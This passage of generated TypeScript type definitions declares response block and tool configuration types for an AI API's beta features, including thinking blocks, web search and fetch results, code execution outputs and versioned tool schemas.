'text' +} + +export type BetaResponseThinkingBlock = { + /** + * @description A value used to verify that this thinking block was generated by Claude when it is passed back to the API. + * + * This is an opaque field and should not be interpreted or parsed. When passing thinking blocks back to the API (required when using tools with extended thinking), pass them back exactly as received, with this field intact. + * + * See [extended thinking](https://platform.claude.com/docs/en/build-with-claude/extended-thinking) for details. + * @type string + */ + signature: string + /** + * @description The text of Claude's thinking process for this block. + * @type string + */ + thinking: string + /** + * @default 'thinking' + * @type string + */ + type: 'thinking' +} + +export type BetaResponseRedactedThinkingBlock = { + /** + * @description The contents of this redacted thinking block, returned when portions of the model's thinking were safety-redacted. This field is opaque and encrypted, with no readable content. + * + * Pass `redacted_thinking` blocks back to the API unchanged when continuing a multi-turn conversation. + * + * See [extended thinking](https://platform.claude.com/docs/en/build-with-claude/extended-thinking#redacted-thinking-blocks) for details. + * @type string + */ + data: string + /** + * @default 'redacted_thinking' + * @type string + */ + type: 'redacted_thinking' +} + +export type BetaResponseToolUseBlock = { + caller?: + | (BetaDirectCaller & { + type: 'direct' + }) + | (BetaServerToolCaller & { + type: 'code_execution_20250825' + }) + | (BetaServerToolCaller20260120 & { + type: 'code_execution_20260120' + }) + /** + * @pattern ^[a-zA-Z0-9_-]+$ + * @type string + */ + id: string + input: { + [key: string]: unknown + } + /** + * @minLength 1 + * @type string + */ + name: string + /** + * @description For a toolset member tool_use, the toolset family. + */ + toolset_name?: string | null + /** + * @default 'tool_use' + * @type string + */ + type: 'tool_use' +} + +export const betaResponseServerToolUseBlockNameEnum = { + advisor: 'advisor', + web_search: 'web_search', + web_fetch: 'web_fetch', + code_execution: 'code_execution', + bash_code_execution: 'bash_code_execution', + text_editor_code_execution: 'text_editor_code_execution', + tool_search_tool_regex: 'tool_search_tool_regex', + tool_search_tool_bm25: 'tool_search_tool_bm25', +} as const + +export type BetaResponseServerToolUseBlockNameEnumKey = + (typeof betaResponseServerToolUseBlockNameEnum)[keyof typeof betaResponseServerToolUseBlockNameEnum] + +export type BetaResponseServerToolUseBlock = { + caller?: + | (BetaDirectCaller & { + type: 'direct' + }) + | (BetaServerToolCaller & { + type: 'code_execution_20250825' + }) + | (BetaServerToolCaller20260120 & { + type: 'code_execution_20260120' + }) + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + id: string + input: { + [key: string]: unknown + } + name: BetaResponseServerToolUseBlockNameEnumKey + /** + * @default 'server_tool_use' + * @type string + */ + type: 'server_tool_use' +} + +export type BetaResponseWebSearchToolResultError = { + error_code: BetaWebSearchToolResultErrorCodeKey + /** + * @default 'web_search_tool_result_error' + * @type string + */ + type: 'web_search_tool_result_error' +} + +export type BetaResponseWebSearchResultBlock = { + encrypted_content: string + /** + * @default null + */ + page_age: string | null + title: string + /** + * @default 'web_search_result' + * @type string + */ + type: 'web_search_result' + url: string +} + +export type BetaResponseWebSearchToolResultBlock = { + caller?: + | (BetaDirectCaller & { + type: 'direct' + }) + | (BetaServerToolCaller & { + type: 'code_execution_20250825' + }) + | (BetaServerToolCaller20260120 & { + type: 'code_execution_20260120' + }) + content: + | BetaResponseWebSearchToolResultError + | BetaResponseWebSearchResultBlock[] + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + /** + * @default 'web_search_tool_result' + * @type string + */ + type: 'web_search_tool_result' +} + +export type BetaResponseWebFetchToolResultError = { + error_code: BetaWebFetchToolResultErrorCodeKey + /** + * @default 'web_fetch_tool_result_error' + * @type string + */ + type: 'web_fetch_tool_result_error' +} + +export type BetaResponseCitationsConfig = { + /** + * @default false + * @type boolean + */ + enabled: boolean +} + +export type BetaResponseDocumentBlock = { + /** + * @description Citation configuration for the document + * @default null + */ + citations: BetaResponseCitationsConfig | null + source: + | (BetaBase64PDFSource & { + type: 'base64' + }) + | (BetaPlainTextSource & { + type: 'text' + }) + /** + * @description The title of the document + * @default null + */ + title: string | null + /** + * @default 'document' + * @type string + */ + type: 'document' +} + +export type BetaResponseWebFetchResultBlock = { + content: BetaResponseDocumentBlock + /** + * @description ISO 8601 timestamp when the content was retrieved + * @default null + */ + retrieved_at: string | null + /** + * @default 'web_fetch_result' + * @type string + */ + type: 'web_fetch_result' + /** + * @description Fetched content URL + * @type string + */ + url: string +} + +export type BetaResponseWebFetchToolResultBlock = { + caller?: + | (BetaDirectCaller & { + type: 'direct' + }) + | (BetaServerToolCaller & { + type: 'code_execution_20250825' + }) + | (BetaServerToolCaller20260120 & { + type: 'code_execution_20260120' + }) + content: BetaResponseWebFetchToolResultError | BetaResponseWebFetchResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + /** + * @default 'web_fetch_tool_result' + * @type string + */ + type: 'web_fetch_tool_result' +} + +export type BetaResponseAdvisorToolResultError = { + error_code: BetaAdvisorToolResultErrorCodeKey + /** + * @default 'advisor_tool_result_error' + * @type string + */ + type: 'advisor_tool_result_error' +} + +export type BetaResponseAdvisorResultBlock = { + /** + * @description The advisor sub-inference's stop reason (same values as the top-level message `stop_reason`). `max_tokens` indicates the advisor's output was truncated at the tool's `max_tokens` value or the advisor model's policy cap. + * @default null + */ + stop_reason: string | null + text: string + /** + * @default 'advisor_result' + * @type string + */ + type: 'advisor_result' +} + +export type BetaResponseAdvisorRedactedResultBlock = { + /** + * @description Opaque blob containing the advisor's output. Round-trip verbatim; do not inspect or modify. + * @type string + */ + encrypted_content: string + /** + * @description The advisor sub-inference's stop reason (same values as the top-level message `stop_reason`). + * @default null + */ + stop_reason: string | null + /** + * @default 'advisor_redacted_result' + * @type string + */ + type: 'advisor_redacted_result' +} + +export type BetaResponseAdvisorToolResultBlock = { + content: + | BetaResponseAdvisorToolResultError + | BetaResponseAdvisorResultBlock + | BetaResponseAdvisorRedactedResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + /** + * @default 'advisor_tool_result' + * @type string + */ + type: 'advisor_tool_result' +} + +export type BetaResponseCodeExecutionToolResultError = { + error_code: BetaCodeExecutionToolResultErrorCodeKey + /** + * @default 'code_execution_tool_result_error' + * @type string + */ + type: 'code_execution_tool_result_error' +} + +export type BetaResponseCodeExecutionOutputBlock = { + file_id: string + /** + * @default 'code_execution_output' + * @type string + */ + type: 'code_execution_output' +} + +export type BetaResponseCodeExecutionResultBlock = { + content: BetaResponseCodeExecutionOutputBlock[] + return_code: number + stderr: string + stdout: string + /** + * @default 'code_execution_result' + * @type string + */ + type: 'code_execution_result' +} + +/** + * @description The output and exit code of Python code that Claude ran with the code execution tool, with standard output in encrypted form. + * + * The API returns this block in place of `code_execution_result` when the code called the web search tool. + * + * See the [programmatic tool calling guide](https://platform.claude.com/docs/en/agents-and-tools/tool-use/programmatic-tool-calling) to learn more about programmatic tool calling. + * @type object + */ +export type BetaResponseEncryptedCodeExecutionResultBlock = { + content: BetaResponseCodeExecutionOutputBlock[] + encrypted_stdout: string + return_code: number + stderr: string + /** + * @default 'encrypted_code_execution_result' + * @type string + */ + type: 'encrypted_code_execution_result' +} + +export type BetaResponseCodeExecutionToolResultBlock = { + content: + | BetaResponseCodeExecutionToolResultError + | BetaResponseCodeExecutionResultBlock + | BetaResponseEncryptedCodeExecutionResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + /** + * @default 'code_execution_tool_result' + * @type string + */ + type: 'code_execution_tool_result' +} + +export type BetaResponseBashCodeExecutionToolResultError = { + error_code: BetaBashCodeExecutionToolResultErrorCodeKey + /** + * @default 'bash_code_execution_tool_result_error' + * @type string + */ + type: 'bash_code_execution_tool_result_error' +} + +export type BetaResponseBashCodeExecutionOutputBlock = { + file_id: string + /** + * @default 'bash_code_execution_output' + * @type string + */ + type: 'bash_code_execution_output' +} + +export type BetaResponseBashCodeExecutionResultBlock = { + content: BetaResponseBashCodeExecutionOutputBlock[] + return_code: number + stderr: string + stdout: string + /** + * @default 'bash_code_execution_result' + * @type string + */ + type: 'bash_code_execution_result' +} + +export type BetaResponseBashCodeExecutionToolResultBlock = { + content: + | BetaResponseBashCodeExecutionToolResultError + | BetaResponseBashCodeExecutionResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + /** + * @default 'bash_code_execution_tool_result' + * @type string + */ + type: 'bash_code_execution_tool_result' +} + +export type BetaResponseTextEditorCodeExecutionToolResultError = { + error_code: BetaTextEditorCodeExecutionToolResultErrorCodeKey + /** + * @default null + */ + error_message: string | null + /** + * @default 'text_editor_code_execution_tool_result_error' + * @type string + */ + type: 'text_editor_code_execution_tool_result_error' +} + +export const betaResponseTextEditorCodeExecutionViewResultBlockFileTypeEnum = { + text: 'text', + image: 'image', + pdf: 'pdf', +} as const + +export type BetaResponseTextEditorCodeExecutionViewResultBlockFileTypeEnumKey = + (typeof betaResponseTextEditorCodeExecutionViewResultBlockFileTypeEnum)[keyof typeof betaResponseTextEditorCodeExecutionViewResultBlockFileTypeEnum] + +export type BetaResponseTextEditorCodeExecutionViewResultBlock = { + content: string + file_type: BetaResponseTextEditorCodeExecutionViewResultBlockFileTypeEnumKey + /** + * @default null + */ + num_lines: number | null + /** + * @default null + */ + start_line: number | null + /** + * @default null + */ + total_lines: number | null + /** + * @default 'text_editor_code_execution_view_result' + * @type string + */ + type: 'text_editor_code_execution_view_result' +} + +export type BetaResponseTextEditorCodeExecutionCreateResultBlock = { + is_file_update: boolean + /** + * @default 'text_editor_code_execution_create_result' + * @type string + */ + type: 'text_editor_code_execution_create_result' +} + +export type BetaResponseTextEditorCodeExecutionStrReplaceResultBlock = { + /** + * @default null + */ + lines: string[] | null + /** + * @default null + */ + new_lines: number | null + /** + * @default null + */ + new_start: number | null + /** + * @default null + */ + old_lines: number | null + /** + * @default null + */ + old_start: number | null + /** + * @default 'text_editor_code_execution_str_replace_result' + * @type string + */ + type: 'text_editor_code_execution_str_replace_result' +} + +export type BetaResponseTextEditorCodeExecutionToolResultBlock = { + content: + | BetaResponseTextEditorCodeExecutionToolResultError + | BetaResponseTextEditorCodeExecutionViewResultBlock + | BetaResponseTextEditorCodeExecutionCreateResultBlock + | BetaResponseTextEditorCodeExecutionStrReplaceResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + /** + * @default 'text_editor_code_execution_tool_result' + * @type string + */ + type: 'text_editor_code_execution_tool_result' +} + +export type BetaResponseToolSearchToolResultError = { + error_code: BetaToolSearchToolResultErrorCodeKey + /** + * @default null + */ + error_message: string | null + /** + * @default 'tool_search_tool_result_error' + * @type string + */ + type: 'tool_search_tool_result_error' +} + +export type BetaResponseToolReferenceBlock = { + /** + * @minLength 1 + * @maxLength 256 + * @pattern ^[a-zA-Z0-9_-]{1,256}$ + * @type string + */ + tool_name: string + /** + * @default 'tool_reference' + * @type string + */ + type: 'tool_reference' +} + +export type BetaResponseToolSearchToolSearchResultBlock = { + tool_references: BetaResponseToolReferenceBlock[] + /** + * @default 'tool_search_tool_search_result' + * @type string + */ + type: 'tool_search_tool_search_result' +} + +export type BetaResponseToolSearchToolResultBlock = { + content: + | BetaResponseToolSearchToolResultError + | BetaResponseToolSearchToolSearchResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + /** + * @default 'tool_search_tool_result' + * @type string + */ + type: 'tool_search_tool_result' +} + +export type BetaResponseMCPToolUseBlock = { + /** + * @pattern ^[a-zA-Z0-9_-]+$ + * @type string + */ + id: string + input: { + [key: string]: unknown + } + /** + * @description The name of the MCP tool + * @type string + */ + name: string + /** + * @description The name of the MCP server + * @type string + */ + server_name: string + /** + * @default 'mcp_tool_use' + * @type string + */ + type: 'mcp_tool_use' +} + +export type BetaResponseMCPToolResultBlock = { + content: string | BetaResponseTextBlock[] + /** + * @default false + * @type boolean + */ + is_error: boolean + /** + * @pattern ^[a-zA-Z0-9_-]+$ + * @type string + */ + tool_use_id: string + /** + * @default 'mcp_tool_result' + * @type string + */ + type: 'mcp_tool_result' +} + +/** + * @description Response model for a file uploaded to the container. + * @type object + */ +export type BetaResponseContainerUploadBlock = { + file_id: string + /** + * @default 'container_upload' + * @type string + */ + type: 'container_upload' +} + +/** + * @description Reference to a single tool, by the name the model uses to call it, as + * a ``compaction`` block's ``tool_changes`` entry reports it: a tool + * declared in ``tools`` or defined by an earlier ``tool_addition`` block. + * Send it back unchanged with the block. + * @type object + */ +export type BetaResponseToolChangeToolReference = { + name: string + /** + * @default 'tool_reference' + * @type string + */ + type: 'tool_reference' +} + +/** + * @description Reference to a single MCP tool, by its server and its name on that + * server, as a ``compaction`` block's ``tool_changes`` entry reports it. + * Send it back unchanged with the block. + * @type object + */ +export type BetaResponseToolChangeMCPToolReference = { + name: string + server_name: string + /** + * @default 'mcp_tool_reference' + * @type string + */ + type: 'mcp_tool_reference' +} + +/** + * @description Reference to every tool in the named MCP server's toolset, as a + * ``compaction`` block's ``tool_changes`` entry reports it. Send it back + * unchanged with the block. + * @type object + */ +export type BetaResponseToolChangeMCPToolsetReference = { + server_name: string + /** + * @default 'mcp_toolset_reference' + * @type string + */ + type: 'mcp_toolset_reference' +} + +/** + * @description A custom tool definition, as sent. + * @type object + */ +export type BetaResponseTool = { + type?: null | 'custom' + /** + * @description Description of what this tool does. + * + * Tool descriptions should be as detailed as possible. The more information that the model has about what the tool is and how to use it, the better it will perform. You can use natural language descriptions to reinforce important aspects of the tool input JSON schema. + * @example Get the current weather in a given location + * @type string | undefined + */ + description?: string + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @minLength 1 + * @maxLength 128 + * @pattern ^[a-zA-Z0-9_-]{1,128}$ + * @type string + */ + name: string + /** + * @description [JSON schema](https://json-schema.org/draft/2020-12) for this tool's input. + * + * This defines the shape of the `input` that your tool accepts and that the model will produce. + * @example {"properties":{"location":{"description":"The city and state, e.g. San Francisco, CA","type":"string"},"unit":{"description":"Unit for the output - one of (celsius, fahrenheit)","type":"string"}},"required":["location"],"type":"object"} + * @type object + */ + input_schema: { + properties?: { + [key: string]: unknown + } | null + required?: string[] | null + type: 'object' + [key: string]: unknown + } + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + /** + * @description Enable eager input streaming for this tool. When true, tool input parameters will be streamed incrementally as they are generated, and types will be inferred on-the-fly rather than buffering the full JSON output. When false, streaming is disabled for this tool even if the fine-grained-tool-streaming beta is active. When null (default), uses the default behavior based on beta headers. + */ + eager_input_streaming?: boolean | null + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: BetaJsonValue + }[] +} + +export type BetaMemoryTool202508186Bcb1Eba = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'memory' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'memory_20250818' +} + +export type BetaTextEditor202410223Bbe81E4 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'str_replace_editor' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'text_editor_20241022' +} + +export type BetaTextEditor20250124F0374477 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'str_replace_editor' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'text_editor_20250124' +} + +export type BetaTextEditor202504298Eb582Ab = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'str_replace_based_edit_tool' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'text_editor_20250429' +} + +export type BetaTextEditor202507284D5Ed9B9 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Maximum number of characters to display when viewing a file. If not specified, defaults to displaying the full file. + */ + max_characters?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'str_replace_based_edit_tool' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'text_editor_20250728' +} + +export type BetaWebSearchTool2025030508De6E34 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description If provided, only these domains will be included in results. Cannot be used alongside `blocked_domains`. + */ + allowed_domains?: string[] | null + /** + * @description If provided, these domains will never appear in results. Cannot be used alongside `allowed_domains`. + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_search' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_search_20250305' + /** + * @description Parameters for the user's location. Used to provide more relevant search results. + */ + user_location?: BetaUserLocation | null +} + +export type BetaWebFetchTool2025091087919Ab2 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description List of domains to allow fetching from + */ + allowed_domains?: string[] | null + /** + * @description List of domains to block fetching from + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description Citations configuration for fetched documents. Citations are disabled by default. + */ + citations?: BetaRequestCitationsConfig | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of tokens used by including web page text content in the context. The limit is approximate and does not apply to binary content such as PDFs. + */ + max_content_tokens?: number | null + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_fetch' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_fetch_20250910' + /** + * @description Which sources contribute to the set of URLs the tool may fetch. Omitted means every source. + */ + url_sources?: BetaWebFetchUrlSources | null +} + +export type BetaWebSearchTool202602093Ac6Fb5A = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description If provided, only these domains will be included in results. Cannot be used alongside `blocked_domains`. + */ + allowed_domains?: string[] | null + /** + * @description If provided, these domains will never appear in results. Cannot be used alongside `allowed_domains`. + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_search' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_search_20260209' + /** + * @description Parameters for the user's location. Used to provide more relevant search results. + */ + user_location?: BetaUserLocation | null +} + +export type BetaWebFetchTool20260209841B8870 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description List of domains to allow fetching from + */ + allowed_domains?: string[] | null + /** + * @description List of domains to block fetching from + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description Citations configuration for fetched documents. Citations are disabled by default. + */ + citations?: BetaRequestCitationsConfig | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of tokens used by including web page text content in the context. The limit is approximate and does not apply to binary content such as PDFs. + */ + max_content_tokens?: number | null + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_fetch' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_fetch_20260209' + /** + * @description Which sources contribute to the set of URLs the tool may fetch. Omitted means every source. + */ + url_sources?: BetaWebFetchUrlSources | null +} + +/** + * @description Web fetch tool with use_cache parameter for bypassing cached content. + * @type object + */ +export type BetaWebFetchTool202603095Cd40B8F = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description List of domains to allow fetching from + */ + allowed_domains?: string[] | null + /** + * @description List of domains to block fetching from + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description Citations configuration for fetched documents. Citations are disabled by default. + */ + citations?: BetaRequestCitationsConfig | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of tokens used by including web page text content in the context. The limit is approximate and does not apply to binary content such as PDFs. + */ + max_content_tokens?: number | null + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_fetch' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_fetch_20260309' + /** + * @description Which sources contribute to the set of URLs the tool may fetch. Omitted means every source. + */ + url_sources?: BetaWebFetchUrlSources | null + /** + * @description Whether to use cached content. Set to false to bypass the cache and fetch fresh content. Only set to false when the user explicitly requests fresh content or when fetching rapidly-changing sources. + * @type boolean | undefined + */ + use_cache?: boolean +} + +export const betaWebSearchTool20260318F004454FResponseInclusionEnum = { + full: 'full', + excluded: 'excluded', +} as const + +export type BetaWebSearchTool20260318F004454FResponseInclusionEnumKey = + (typeof betaWebSearchTool20260318F004454FResponseInclusionEnum)[keyof typeof betaWebSearchTool20260318F004454FResponseInclusionEnum] + +export type BetaWebSearchTool20260318F004454F = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description If provided, only these domains will be included in results. Cannot be used alongside `blocked_domains`. + */ + allowed_domains?: string[] | null + /** + * @description If provided, these domains will never appear in results. Cannot be used alongside `allowed_domains`. + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_search' + /** + * @description How this tool's result blocks appear in the API response when the result was consumed by a completed code_execution call in the same turn. 'full' returns the complete content (default). 'excluded' drops the nested server_tool_use and result block pair entirely. Results from direct calls, or from code_execution calls that paused before completing, are always returned in full so they can be sent back on the next turn. + * @type string | undefined + */ + response_inclusion?: BetaWebSearchTool20260318F004454FResponseInclusionEnumKey + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_search_20260318' + /** + * @description Parameters for the user's location. Used to provide more relevant search results. + */ + user_location?: BetaUserLocation | null +} + +export const betaWebFetchTool20260318B512B845ResponseInclusionEnum = { + full: 'full', + excluded: 'excluded', +} as const + +export type BetaWebFetchTool20260318B512B845ResponseInclusionEnumKey = + (typeof betaWebFetchTool20260318B512B845ResponseInclusionEnum)[keyof typeof betaWebFetchTool20260318B512B845ResponseInclusionEnum] + +export type BetaWebFetchTool20260318B512B845 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description List of domains to allow fetching from + */ + allowed_domains?: string[] | null + /** + * @description List of domains to block fetching from + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description Citations configuration for fetched documents. Citations are disabled by default. + */ + citations?: BetaRequestCitationsConfig | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of tokens used by including web page text content in the context. The limit is approximate and does not apply to binary content such as PDFs. + */ + max_content_tokens?: number | null + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_fetch' + /** + * @description How this tool's result blocks appear in the API response when the result was consumed by a completed code_execution call in the same turn. 'full' returns the complete content (default). 'excluded' drops the nested server_tool_use and result block pair entirely. Results from direct calls, or from code_execution calls that paused before completing, are always returned in full so they can be sent back on the next turn. + * @type string | undefined + */ + response_inclusion?: BetaWebFetchTool20260318B512B845ResponseInclusionEnumKey + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_fetch_20260318' + /** + * @description Which sources contribute to the set of URLs the tool may fetch. Omitted means every source. + */ + url_sources?: BetaWebFetchUrlSources | null + /** + * @description Whether to use cached content. Set to false to bypass the cache and fetch fresh content. Only set to false when the user explicitly requests fresh content or when fetching rapidly-changing sources. + * @type boolean | undefined + */ + use_cache?: boolean +} + +export const betaToolSearchToolBM2520251119E56A62CcTypeEnum = { + tool_search_tool_bm25_20251119: 'tool_search_tool_bm25_20251119', + tool_search_tool_bm25: 'tool_search_tool_bm25', +} as const + +export type BetaToolSearchToolBM2520251119E56A62CcTypeEnumKey = + (typeof betaToolSearchToolBM2520251119E56A62CcTypeEnum)[keyof typeof betaToolSearchToolBM2520251119E56A62CcTypeEnum] + +export type BetaToolSearchToolBM2520251119E56A62Cc = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'tool_search_tool_bm25' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: BetaToolSearchToolBM2520251119E56A62CcTypeEnumKey +} + +export const betaToolSearchToolRegex202511191Ecc7197TypeEnum = { + tool_search_tool_regex_20251119: 'tool_search_tool_regex_20251119', + tool_search_tool_regex: 'tool_search_tool_regex', +} as const + +export type BetaToolSearchToolRegex202511191Ecc7197TypeEnumKey = + (typeof betaToolSearchToolRegex202511191Ecc7197TypeEnum)[keyof typeof betaToolSearchToolRegex202511191Ecc7197TypeEnum] + +export type BetaToolSearchToolRegex202511191Ecc7197 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + 